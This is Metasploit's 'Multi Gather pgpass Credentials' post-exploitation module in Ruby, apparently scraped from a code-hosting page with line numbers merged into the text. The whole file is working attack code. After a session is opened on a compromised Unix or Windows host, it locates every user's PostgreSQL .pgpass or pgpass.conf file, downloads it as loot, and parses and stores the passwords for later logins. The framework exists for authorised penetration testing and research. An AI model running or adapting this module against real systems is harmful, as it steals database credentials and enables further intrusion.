Path: blob/master/modules/post/multi/gather/pgpass_creds.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix8include Msf::Post::Windows::UserProfiles910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Multi Gather pgpass Credentials',15'Description' => %q{16This module will collect the contents of all users' .pgpass or pgpass.conf17file and parse them for credentials.18},19'License' => MSF_LICENSE,20'Author' => ['Zach Grace <zgrace[at]403labs.com>'],21'Platform' => %w[linux bsd unix osx win],22'SessionTypes' => %w[meterpreter shell],23'Notes' => {24'Stability' => [CRASH_SAFE],25'SideEffects' => [],26'Reliability' => []27}28)29)30end3132def run33print_status('Finding pgpass creds')3435files = []36case session.platform37when 'unix', 'linux', 'bsd', 'osx'38files = enum_user_directories.map { |d| d + '/.pgpass' }.select { |f| file?(f) }39when 'windows'40if session.type != 'meterpreter'41print_error('Only meterpreter sessions are supported on Windows hosts')42return43end4445grab_user_profiles.select do |user|46f = "#{user['AppData']}\\postgresql\\pgpass.conf"47if user['AppData'] && file?(f)48files << f49end50end51else52print_error("Unsupported platform #{session.platform}")53return54end5556if files.nil? || files.empty?57print_error('No users found with a .pgpass or pgpass.conf file')58return59end6061files.each do |f|62# Store the loot63print_good("Downloading #{f}")64pgpass_path = store_loot('postgres.pgpass', 'text/plain', session, read_file(f), f.to_s, "pgpass #{f} file")65print_good("Postgres credentials file saved to #{pgpass_path}")66# Store the creds67parse_creds(f)68end69end7071# Store the creds to72def parse_creds(fname)73cred_table = Rex::Text::Table.new(74'Header' => 'Postgres Data',75'Indent' => 1,76'Columns' => ['Host', 'Port', 'DB', 'User', 'Password']77)7879read_file(fname).each_line do |entry|80# skip comments81next if entry.lstrip[0, 1] == '#'8283ip, port, db, user, pass = entry.chomp.split(/:/, 5)8485# Fix for some weirdness that happens with backslashes86p = ''87bs = false88pass.split(//).each do |c|89if c == '\\'90if bs == false91bs = true92p << c93else94# second backslash ignore95bs = false96end97elsif c == ':' && bs == true98p = "#{p[0, p.length - 1]}:"99else100p << c101end102end103104pass = p105106# Display the original before we try to report it, so the user107# sees whatever was actually in the file in case it's weird108cred_table << [ip, port, db, user, pass]109110if ip == '*' || ip == 'localhost'111ip = session.session_host112else113ip = Rex::Socket.getaddress(ip)114end115116# Use the default postgres port if the file had a wildcard117port = 5432 if port == '*'118119credential_data = {120origin_type: :session,121session_id: session_db_id,122post_reference_name: refname,123username: user,124private_data: pass,125private_type: :password,126realm_value: db,127realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE,128workspace_id: myworkspace_id129}130131credential_core = create_credential(credential_data)132133login_data = {134address: ip,135port: port,136protocol: 'tcp',137service_name: 'postgres',138core: credential_core,139access_level: 'User',140status: Metasploit::Model::Login::Status::UNTRIED,141workspace_id: myworkspace_id142}143create_credential_login(login_data)144end145146if !cred_table.rows.empty?147print_line148print_line(cred_table.to_s)149end150end151end152153154